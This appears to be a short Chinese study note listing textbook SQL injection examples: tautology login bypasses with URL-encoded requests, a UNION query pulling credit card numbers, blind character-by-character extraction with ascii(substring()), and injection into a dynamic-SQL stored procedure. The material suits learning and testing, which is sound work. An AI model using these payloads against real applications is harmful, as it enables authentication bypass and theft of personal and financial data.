SQL注入常用语句{笔记}
example1：select * from users where username=’$username’ and password=’$password’test data:$username = 1′ or ‘1’=’1$password=1′ or ‘1’=’1select * from users where username=’1′ or ‘1’=’1′ and password=’1′ or ‘1’=’1′如果参数值是GET方法传递到服务器，则访问请求是：http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1&password=1’%20or%20’1’%20=%20’1sql语句永远为真，未验证用户名和密码；example 2：select * from users where((username=’$username’)and(password=md5(‘$password’)))test data:$username=1′ or ‘1’=’1′))/*$password = fooselect * from users where ((username=’1′ or ‘1’=’1′))/*’)and(password=md5(‘$password’)))url 请求：http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1′))/*&password=fooexample 3：select name,phone,address from users where id=$idtest data:$id=1 union all select creditcardnumber,1,1 from creditcartableselect name,phone,address from users where id=1 union all select creaditcardnumber,1,1 from creditcartableexample 4:盲目sql注入，如url中有参数名为id，则输入url请求引用：http://www.exampe.com/index.php?id=1′假设服务器查询语句为：select field1,field2,field3 from users where id=’$id’逐字符读取值的函数：substring（text,start,length）,ascii(char),length(text)将id引用为：$id=1′ and ascii(substring(username,1,1))=97 and ‘1’=’1select field1,field2,field3 from users where id=’1′ and ascii(substring(username,1,1))=97 and ‘1’=’1如果数据库用户名第一个字符ascii码为97，能得到真值，继续寻找用户名下一个字符，如果没有，猜测98，反复判断合法用户名；example 5：存储过程注入如果在使用存储过程不当的时候，会造成一定的SQL注入漏洞。
Create procedure user_login @username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250)Set @sqlstring =”
Select 1 from users
where username=’+@username+’and password=’+@password
exec(@sqlstring)
Gotest data： anyusername or 1=1′
anypassword 如果程序没有对输入进行验证，那么上面的语句就返回数据库中的一条记录
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